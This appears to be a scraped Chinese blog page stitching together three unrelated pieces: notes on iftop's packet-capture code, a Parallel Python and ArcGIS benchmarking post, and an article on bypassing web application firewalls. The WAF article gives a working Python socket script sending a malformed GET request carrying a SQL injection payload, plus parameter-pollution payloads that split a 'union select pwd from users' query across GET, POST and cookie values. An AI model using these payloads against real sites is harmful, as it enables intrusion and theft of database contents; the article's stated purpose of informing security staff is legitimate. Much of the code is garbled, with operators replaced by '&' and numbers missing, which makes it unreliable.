返回一个struct if_nameindex列表,其中存储了所有界面的信息,最后一个if_nameindex的if_index序号为零,if_name为null
此函数得到的结果必需用if_freenameindex函数清除
void if_freenameindex(struct if_nameindex *ptr);清除if_nameindex得到的结果&options_read_args(argc, argv);//根据命令行参数设置程序参数read_config(options.config_file, options.config_file_specified);//从配置文件中读取参数设置packet_init();//主要是进行pcap的抓包初始化工作:&pd = pcap_open_live(options.interface, CAPTURE_LENGTH, options.promiscuous, 1000, errbuf);dlt = pcap_datalink(pd);pcap_compile(pd, &pcap_filter, x, 1, 0);pcap_setfilter(pd, &pcap_filter);ui_init();//开启curses模式pthread_create(&thread, NULL, (void*)&packet_loop, NULL);//建立线程进行数据报抓包&&main函数中的主要函数:config_init();options_set_defaults();options_read_args(argc, argv);options_make();这几个函数主要就是设置程序运行的参数。&packet_init();这个函数的执行过程:通过调用get_addrs_dlpi(options.interface, if_hw_addr, &if_ip_addr);获取网络接口的IP和MAC地址信息。调用resolver_initialise()建立并维护哈希结构。通 过pd = pcap_open_live(options.interface, CAPTURE_LENGTH, options.promiscuous, 1000, errbuf);设置进行捕包的接口,然后通过调用libpcap的接口函数设置数据报的处理函数等。&&init_history();建立地址哈希结构表。&&ui_init(); 初始化curses模块功能,通过 screen_hash = addr_hash_create();service_hash = serv_hash_create();serv_hash_initialise(service_hash);建立并初始化地址与服务信息的哈希结构 表。&&pthread_create(&thread, NULL, (void*)&packet_loop, NULL);新建线程,对捕获的数据包进行处理。这个是最主要的流量监控功能的实现函数,最后我会重点介绍。&ui_loop();在curses模式下捕获键盘输入,并进行操作。&&下面,就详细介绍一下数据包的处理函数,因为我们的设备是以太网10M网卡,即DLT_EN10MB,所以就以handle_eth_packet()函数来讲。handle_eth_packet(unsigned char* args, const struct pcap_pkthdr* pkthdr, const unsigned char* packet)函数就是对捕到的数据包的分析和处理,具体过程为:&eptr = (struct ether_header*)//取出数据包中的以太网头部信息&&& ether_type = ntohs(eptr-&ether_type);//以太网类型&&& payload = packet + sizeof(struct ether_header);//取出数据部分tick(0);//这个就是根据哈希结构表中信息计算流量并显示。if(ether_type == ETHERTYPE_IP) {//如果是属于IP类型&&&&& 。。。&&&&&&& iptr = (struct ip*)(payload); /* alignment? */&&&&&&& handle_ip_packet(iptr, dir);//通过调用这个函数,对IP数据包进行分析&&& }handle_ip_packet函数的功能就是取出IP数据包中的地址、端口以及数据长度信息,并存到相应的哈希结构表中。
Parallel Python 并行 多核 集群
最近在关注如何提升执行效率的问题,自己没有时间去深入研究,就直接选择了开源的Parallel Python,希望能够充分发挥多核CPU及集群环境的优势。
&&& 是 Python进行分布式计算的开源模块,能够将计算压力分布到多核CPU或集群的多台计算机上,能够非常方便的在内网中搭建一个自组织的分布式计算平台。 先从多核计算开始,普通的Python应用程序只能够使用一个CPU进程,而通过Parallel Python能够很方便的将计算扩展到多个CPU进程中,使用官方网站上的一个例子。import math, timedef isprime(n): &&& """Returns True if n is prime and False otherwise""" &&& if not isinstance(n, int): &&&&&&& raise TypeError("argument passed to is_prime is not of 'int' type") &&& if n & 2: &&&&&&& return False &&& if n == 2: &&&&&&& return True &&& max = int(math.ceil(math.sqrt(n))) &&& i = 2 &&& while i &= max: &&&&&&& if n % i == 0: &&&&&&&&&&& return False &&&&&&& i += 1 &&& return Truedef sum_primes(n): &&& """Calculates sum of all primes below given integer n""" &&& return sum([x for x in xrange(2,n) if isprime(x)])start_time = time.time()inputs = (, , 0700)jobs = [(input, sum_primes(input)) for input in inputs]for input, job in jobs: &&& print "Sum of primes below", input, "is", jobprint "Time elapsed: ", time.time() - start_time, "s"
&&& 计算指定数值范围内所有素数的和,运行程序消耗时间为4. s,程序运行结果和CPU使用率如下所示: Sum of primes below 100000 is
Sum of primes below 100100 is
Sum of primes below 100200 is
Sum of primes below 100300 is
Sum of primes below 100400 is
Sum of primes below 100500 is
Sum of primes below 100600 is
Sum of primes below 100700 is
Time elapsed: 4. s
&& 将程序稍作调整,引入pp模块。 #! # File: sum_primes.py # Author: VItalii Vanovschi # Desc: This program demonstrates parallel computations with pp module # It calculates the sum of prime numbers below a given integer in parallel # Parallel Python Software:
import math, sys, time import pp def isprime(n): &&& """Returns True if n is prime and False otherwise""" &&& if not isinstance(n, int): &&&&&&& raise TypeError("argument passed to is_prime is not of 'int' type") &&& if n & 2: &&&&&&& return False &&& if n == 2: &&&&&&& return True &&& max = int(math.ceil(math.sqrt(n))) &&& i = 2 &&& while i &= max: &&&&&&& if n % i == 0: &&&&&&&&&&& return False &&&&&&& i += 1 &&& return True def sum_primes(n): &&& """Calculates sum of all primes below given integer n""" &&& return sum([x for x in xrange(2,n) if isprime(x)]) print """Usage: python sum_primes.py [ncpus] &&& [ncpus] - the number of workers to run in parallel,
&&& if omitted it will be set to the number of processors in the system """ # tuple of all parallel python servers to connect with ppservers = () #ppservers = ("10.0.0.1",) if len(sys.argv) & 1: &&& ncpus = int(sys.argv[1]) &&& # Creates jobserver with ncpus workers &&& job_server = pp.Server(ncpus, ppservers=ppservers) else: &&& # Creates jobserver with automatically detected number of workers &&& job_server = pp.Server(ppservers=ppservers) print "Starting pp with", job_server.get_ncpus(), "workers" # Submit a job of calulating sum_primes(100) for execution.
# sum_primes - the function # (100,) - tuple with arguments for sum_primes # (isprime,) - tuple with functions on which function sum_primes depends # ("math",) - tuple with module names which must be imported before sum_primes execution # Execution starts as soon as one of the workers will become available job1 = job_server.submit(sum_primes, (100,), (isprime,), ("math",)) # Retrieves the result calculated by job1 # The value of job1() is the same as sum_primes(100) # If the job has not been finished yet, execution will wait here until result is available result = job1() print "Sum of primes below 100 is", result start_time = time.time() # The following submits 8 jobs and then retrieves the results inputs = (, , 0700) jobs = [(input, job_server.submit(sum_primes,(input,), (isprime,), ("math",))) for input in inputs] for input, job in jobs: &&& print "Sum of primes below", input, "is", job() print "Time elapsed: ", time.time() - start_time, "s" job_server.print_stats()
&&& 再次执行,任务管理器中两个CPU进程齐头并进,咱们不仅仅需要所有CPU努力干活,而且还需得到非常好的效果,通过简单的"time.time() - start_time"发现时间比之前缩短了近100%为2.,job_server.print_stats()能够得到更加详 细的分析结果:
Starting pp with 2 workers
Sum of primes below 100 is 1060
Sum of primes below 100000 is
Sum of primes below 100100 is
Sum of primes below 100200 is
Sum of primes below 100300 is
Sum of primes below 100400 is
Sum of primes below 100500 is
Sum of primes below 100600 is
Sum of primes below 100700 is
Time elapsed: 2. s
Job execution statistics:
job count | % of all jobs | job time sum | time per job | job server
&&&&&&&& 9 |&&&&&&& 100.00 |&&&&&& 3.9700 |&&&& 0.441111 | local
&&& 看到这样的测试结果,还来不及尝试多计算机的集群计算,就开始好奇该模块在ArcGIS Python空间计算中的应用效果。动手之前先想想问题吧,ArcGIS Python实际上是对粗粒度AO对象的调用,真正的计算压力实际上是在COM里面,而Parallel Python针对的是原生Python脚本中产生的计算量,所以应该不会有明显的性能提升,实践出真理,怎么都得写个Sample测试一番:将指定文件夹 内所有personal geodatabase的空间数据拷贝到相应的file geodatabase中,以全国400万数据为例。
# Import native arcgisscripting module
import arcgisscripting
import time
# import sys
# Create the geoprocessor object
gp = arcgisscripting.create(9.3)
# Allow for the overwriting of file geodatabases, if they previously exist
gp.OverWriteOutput =1
# Set workspace to folder containing personal geodatabases
# # gp.Workspace = sys.argv[1]
gp.workspace ="D:\\Dev\\Python\\pp\\arcgis_test"
# Identify personal geodatabases
pgdbs = gp.ListWorkspaces("", "Access") start_time = time.time()
for pgdb in pgdbs: &&&&# Set workspace to current personal geodatabase
&&&& gp.workspace = pgdb &&&&# Create file geodatabase based on personal geodatabase
&&&& fgdb = pgdb[:-4] +".gdb"
&&&& gp.CreateFileGDB(os.path.dirname(fgdb), os.path.basename(fgdb)) &&&&# Identify feature classes and copy to file gdb
&&&& fcs = gp.ListFeatureClasses() &&&&for fc in fcs: &&&&&&&&print"Copying feature class "+ fc +" to "+ fgdb &&&&&&&& gp.Copy(fc, fgdb + os.sep + fc) &&&&# Identify tables and copy to file gdb
&&&& tables = gp.ListTables() &&&&for table in tables: &&&&&&&&print"Copying table "+ table +" to "+ fgdb &&&&&&&& gp.Copy(table, fgdb + os.sep + table) &&&&# Identify datasets and copy to file gdb
&&&&#&&& Copy will include contents of datasets
&&&& datasets = gp.ListDatasets() &&&&for dataset in datasets: &&&&&&&&print"Copying dataset "+ dataset +" to "+ fgdb &&&&&&&& gp.Copy(dataset, fgdb + os.sep + dataset) &&&&
print"Time elapsed: ", time.time() - start_time, "s"
计算完成后消耗时间为73.s,引入pp模块。
import arcgisscripting
import time
import sys
def func(ws ="D:\\Dev\\Python\\pp\\arcgis_test"): &&&&# Create the geoprocessor object
&&&& gp = arcgisscripting.create(9.3) &&&& &&&&# Allow for the overwriting of file geodatabases, if they previously exist
&&&& gp.OverWriteOutput =1
&&&& &&&&# Set workspace to folder containing personal geodatabases
&&&&# gp.Workspace = sys.argv[1]
&&&& gp.workspace = ws &&&& &&&&# Identify personal geodatabases
&&&& pgdbs = gp.ListWorkspaces("", "Access") &&&& &&&&for pgdb in pgdbs: &&&&&&&&# Set workspace to current personal geodatabase
&&&&&&&& gp.workspace = pgdb &&&& &&&&&&&&# Create file geodatabase based on personal geodatabase
&&&&&&&& fgdb = pgdb[:-4] +".gdb"
&&&&&&&& gp.CreateFileGDB(os.path.dirname(fgdb), os.path.basename(fgdb)) &&&& &&&&&&&&# Identify feature classes and copy to file gdb
&&&&&&&& fcs = gp.ListFeatureClasses() &&&& &&&&&&&&for fc in fcs: &&&&&&&&&&&&print"Copying feature class "+ fc +" to "+ fgdb &&&&&&&&&&&& gp.Copy(fc, fgdb + os.sep + fc) &&&& &&&&&&&&# Identify tables and copy to file gdb
&&&&&&&& tables = gp.ListTables() &&&& &&&&&&&&for table in tables: &&&&&&&&&&&&print"Copying table "+ table +" to "+ fgdb &&&&&&&&&&&& gp.Copy(table, fgdb + os.sep + table) &&&& &&&&&&&&# Identify datasets and copy to file gdb
&&&&&&&&#&&& Copy will include contents of datasets
&&&&&&&& datasets = gp.ListDatasets() &&&& &&&&&&&&for dataset in datasets: &&&&&&&&&&&&print"Copying dataset "+ dataset +" to "+ fgdb &&&&&&&&&&&& gp.Copy(dataset, fgdb + os.sep + dataset) &&&&&&&&&&&& &&&&
# tuple of all parallel python servers to connect with
ppservers = ()
#ppservers = ("10.0.0.1",)
if len(sys.argv) &1: &&&& ncpus = int(sys.argv[1]) &&&&# Creates jobserver with ncpus workers
&&&& job_server = pp.Server(ncpus, ppservers=ppservers)
else: &&&&# Creates jobserver with automatically detected number of workers
&&&& job_server = pp.Server(ppservers=ppservers)
print"Starting pp with", job_server.get_ncpus(), "workers"
start_time = time.time()
# job1 = job_server.submit(sum_primes, (100,), (isprime,), ("math",))
job_server.submit(func(), ("D:\\Dev\\Python\\pp\\arcgis_test", ), (), ("arcgisscripting", "os"))
print"Time elapsed: ", time.time() - start_time, "s"
job_server.print_stats()
&&& 时间几乎相同,没有太大变化,这也证明了最初的分析,看来提升ArcGIS Python应用效率还得从根本入手,当然也有可能是对Parallel Python和Python多线程处理了解不够深入,关于Parallel Python的问题,网上有一些说法:
&&& 1.如果数据交换存在瓶颈,大数据量的应用效果不明显,或反而效率更低。
&&& 2.高计算复杂度的应用效果不明显,ArcGIS Python中的分析计算恰好属于此类。&
&&& 当然测试脚本针对的主要是空间数据拷贝的操作,如果不死心还可以试试空间分析。接着深入,待续吧。
浅谈绕过WAF的数种方法
EMail: Site: Date: From: /?p=244
08年初诞生了一种SQL群注攻击,黑客在全球范围内对asp,asp.net加MSSQL架构的网站进行了疯狂扫荡。由于MSSQL支持多语句注入,黑客通过一条结合游标的SQL语句就能将整个数据库的字段内容自动进行篡改,可以在网站上无差别的进行网页木马攻击。
互 联网是快速更新迭代的,但是很多没有开发能力的单位都是通过外包建立网站,网站的程序一上线就再也无人维护,很多程序存在各种漏洞无法修补,于是WAF便 有了市场,现今门槛低且最能解决问题的是针对IIS/apache的软件WAF,通常一个模块一个扩展就能搞定,当然也有耗资百万千万的硬件WAF,然而 如果WAF拦截规则出现漏洞,这百万千万的硬件也就是一堆废铁。那么WAF是否真的可以解决所有的WEB安全问题呢?所以本文主要解析一些可以绕过WAF 的罕见漏洞,供安全人员参考。
0&01 Request对象的包解析漏洞.
asp和asp.net的Request对象存在 一个包解析漏洞,Request对象对于GET和POST包的解析过于宽松,用一句话表达就是Request对象它GET和POST傻傻分不清楚,稍有点 web开发经验的同学应该知道Request接收GET,POST,COOKIE也就是GPC传过来的数据,但是asp和.net库内置的Request 对象完全不按RFC标准来,下面我们可以做个测试:
分别将下面两段代码保存为1.asp和1.aspx
使用asp的Request对象接收t参数传值&&&&&&&&&&&&&&&&<%Response.Write &Request:& & Request(&t&)%>&&&&&&&&&&&&&&&&
使用asp.net的Request对象接收t参数传值&&&&&&&&&&&&&&&&<%@ Page Language=&C#& %><%string test = Request["t"];Response.Write(&Request:&+test);%>&&&&&&&&&&&&&&&&
使用下面的python脚本调用socket发送原始的HTTP包&&&&&&&&&&&&&&&&#!/usr/bin/env python
import socket
host = &192.168.239.129&path = &/1.asp&port = 80
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host, port))s.settimeout(8)
exploit_packet=&t=&/**/or/**/1=1&&exploit_packet+=&\r\n& * 8packet_length = len(exploit_packet)packet=&GET & + path + & HTTP/1.1\r\n&packet+=&Host: & + host + &\r\n&packet+=&Content-Length: %s\r\n& % packet_lengthpacket+=&Content-Type: application/x-www-form-urlencoded\r\n&packet+=&\r\n&packet = packet + exploit_packet
print packets.send(packet)buf = s.recv(1000)if buf: print buf[buf.rfind("\r\n"):]s.close()&&&&&&&&&&&&&&&&
我们发送的原始包是:GET /1.asp HTTP/1.1Host: 192.168.239.129Content-Length: 34Content-Type: application/x-www-form-urlencoded
t=&/**/or/**/1=1&
结果返回如下:Request:&/**/or/**/1=1&将python测试脚本的path改为/1.aspx测试页返回同样结果。
我 们可以看到这是一个畸形的HTTP GET请求包,这个包的奥秘在于t=&/**/or/**/1=1&参数后的8个回车换行和Content-Length头,包的结构类似于一个POST 包,而请求的方法是GET,最后asp和asp.net的Request对象成功的解析了这个畸形包取出了数据。
所以如果WAF没有处理好HTTP包的内容,沿用常规思路处理GET和POST的逻辑的话,那么这个畸形包将会毁掉WAF的基础防御。
0&02 被遗忘的复参攻击.
大家应该还记得09年的HTTP Parameter Pollution攻击,查看[3]文档,可以发现ASP/IIS和ASP.NET/IIS的场景下存在一个复参特性,本文将利用这种的特性的攻击简称为复参攻击,用0X01里的例子简单的测试一下:
用GET请求传入两个t参数GET http://192.168.239.129/1.asp?t=1&t=2将返回Request:1, 2
asp和asp.net的Request对象接收了两个参数,并且以逗号分隔,所以便衍生出了[3]文档中的复参SQL注入方法:
Vulnerable code:SQL=&select key from table where id=&+Request.QueryString(&id&)
This request is successfully performed using the HPP technique:/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
The SQL request becomes:select key from table where id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/usersLavakumarKuppan,
我们可以看到通过巧妙的运用注释符结合复参特性可以分割GET参数中的SQL注入语句,如果WAF对GET参数的处理过于简单是不是会匹配不到拦截规则呢?
0&03 高级复参攻击.
ASP.NET 的Request对象有一个Params属性,ASP.NET程序员在一些程序中会使用Request.Params["xxx"]传入数据,参考[4] 微软MSDN文档我们可以知道Params属性的特性,该属性接收GET,POST和Cookie的传值集合,这里我们可以修改0&01里的例子测试一 下:
使用asp.net的Request.Params方法接收t参数传值&&&&&&&&&&&&&&&&<%@ Page Language=&C#& %><%string test = Request.Params["t"];Response.Write(&Request:&+test);%>&&&&&&&&&&&&&&&&
发送一个POST包,GET,POST,COOKIE三个方法中都带有不同的t参数内容&&&&&&&&&&&&&&&&POST http://192.168.239.129/1.aspx?t=1 HTTP/1.1Host: 192.168.239.129Cookie: t=2
t=3&&&&&&&&&&&&&&&&
结果返回Request:1,3,2
最 后得出结论,Request.Params方法接收的数据是按照GPC顺序整合,看到这里的同学再联想到0&02的复参攻击应该如醍醐灌顶了,我们可以将 SQL攻击语句拆分到GET,POST,COOKIE三个变量里进行组合攻击。想一想WAF针对这种高级复参攻击是否防御好了?
WAF是不可能解决所有安全问题的,本文的思路归其本源实际上是描叙了WAF处理HTTP包与服务端处理HTTP包数种差异。互联网是不断更新迭代的,差异存在,类似的漏洞也会存在。本文提到了三种绕过WAF的思路,第一种是我的原创属于0DAY状态,第二种是参考已有的复参攻击,其中第三种高级复参攻击是由Safe3同学提出的,本文也是与Safe3同学讨论他开发的WAF的BUG而来,所以感谢Safe3同学。另外请大家不要将本文的内容用于非法途径,仅供安全人员参考,谢谢。
参考:[1].http://www.faqs.org/rfcs/rfc2616.html[2]..cn/asp/asp_ref_request.asp[3]./download/PT-devteev-CC-WAF-ENG.pdf[4]./en-us/library/system.web.httprequest.aspx
本站内容均为原创,转载请务必保留署名与链接!
大家好,欢迎来到我的小站!
站长在关注

我要回帖

更多关于 财付通 的文章

 

随机推荐